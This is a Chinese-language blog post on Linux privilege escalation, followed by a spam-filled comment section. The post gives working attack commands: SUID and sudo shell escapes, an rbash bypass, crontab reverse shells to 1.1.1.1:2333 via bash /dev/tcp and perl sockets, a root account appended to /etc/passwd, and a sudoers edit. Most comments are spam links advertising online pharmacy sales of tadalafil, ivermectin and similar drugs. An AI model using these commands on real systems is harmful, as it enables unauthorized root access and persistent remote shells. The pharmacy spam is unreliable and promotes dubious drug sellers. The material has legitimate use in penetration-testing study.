suid提权

  1. 查找具有suid权限的执行文件。这些命令在执行时短暂具有root权限，可用来提权。一般有：
    nmap vim find Bash More Less Nano cp git
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null

eg:

#find
cd /tmp
touch abcd
find abcd -exec whoami \;

rbash绕过

rbash就是受限制的bash，一般管理员会限制很多命令，例如whoami cd cat等很多常用的命令，不过肯定会有命令可以使用，我们可以查看$PATH有哪些

BASH_CMDS[a]=/bin/sh;a

#然后执行，配置上环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
#或者：
PATH=$PATH:/bin
PATH=$PATH:/usr/bin

sudo提权和suid类似

#python/perl/php...
sudo python -c "import os;os.system('/bin/sh')"

sudo find msg.log -exec 'whoami' \;
sudo awk 'BEGIN {system("/bin/sh")}'
#git/vim/vi/more/less/man (交互式提权)
sudo git help config
    !/bin/bash或者！'sh'完成提权
sudo git  -p help
    !/bin/bash

具有sudo写文件提权。（tee，vi等）

  1. corntab反弹shell
* * * * * root bash -c "bash -i  >&/dev/tcp/1.1.1.1/2333 0>&1"
或者：
*/1 * * * * root perl -e 'use Socket;$i="1.1.1.1";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  1. 修改suid
sudo tee -a /etc/crontab
* * * * * root chmod 4777 /bin/sh

值得注意的是：chmod 4777 /bin/bash不会有这种效果

  1. 修改passwd文件
sudo tee -a /etc/passwd
test:x:0:0::/home/admin:/bin/bash
  1. 修改 sudoer
echo "charles ALL=(ALL:ALL) ALL" | sudo tee -a /etc/sudoers

1,178 对 “linux提权”的想法；

  1. I’m gone to say to my little brother, that he should also
    pay a visit this website on regular basis to get updated from latest
    news.

    回复

  3. Every weekend i used to pay a visit this website, for the reason that i wish for enjoyment, as
    this this site conations genuinely nice funny material too.

    回复

  50. [url=http://tadlafil.com/]purchase tadalafil online[/url] [url=http://wellbutrin.live/]generic wellbutrin sr[/url] [url=http://sildenafilpillcost.com/]best pharmacy prices for sildenafil[/url] [url=http://aurogra.online/]aurogra 100 online[/url] [url=http://lasix.monster/]lasix 60[/url] [url=http://cialiswise.com/]cialis soft online[/url] [url=http://tadalafilfdb.com/]tadalafil 5 mg coupon[/url] [url=http://zovirax.today/]zovirax cost uk[/url] [url=http://cialisgk.com/]cialis super active[/url] [url=http://ivermectinstab.online/]price of ivermectin[/url]

    回复

  243. [url=https://tadalafilctabs.com/]tadalafil 2.5 mg online india[/url] [url=https://tadalafilotab.com/]tadalafil capsule[/url] [url=https://buyantabuse.online/]where to get antabuse[/url] [url=https://disulfiram.today/]disulfiram in india[/url] [url=https://ivermectinwtab.com/]stromectol price in india[/url]

    回复

  283. [url=http://cialisfk.com/]cheap cialis daily[/url] [url=http://ivermectinftab.com/]ivermectin lotion[/url] [url=http://neurontingabapentin.online/]gabapentin drug[/url] [url=http://buystromectol.online/]ivermectin purchase[/url] [url=http://clomid.monster/]how to order clomid online[/url] [url=http://ivermectinctab.com/]stromectol 3 mg tablets price[/url] [url=http://hydrochlorothiazide.today/]hydrochlorothiazide losartan[/url] [url=http://zithromax.live/]zithromax 4 pills[/url] [url=http://neurontin.quest/]neurontin 300mg tablet cost[/url] [url=http://metforminglucophage.online/]order glucophage online[/url]

    回复
  323. Pingback： generic tadalafil medication
  331. Pingback： cialis dosage
  351. Pingback： order cialis online
  367. Pingback： azithromycin 250mg tablets cost
  415. Pingback： meloxicam mobic mg

  573. [url=https://gorod.top/threads/trajfly-deserty-v-stakanchikax-novosibirsk.1840/]Трайфлы десерты в стаканчиках Новосибирск[/url]

    回复
  638. Pingback： tadalafil generic mexico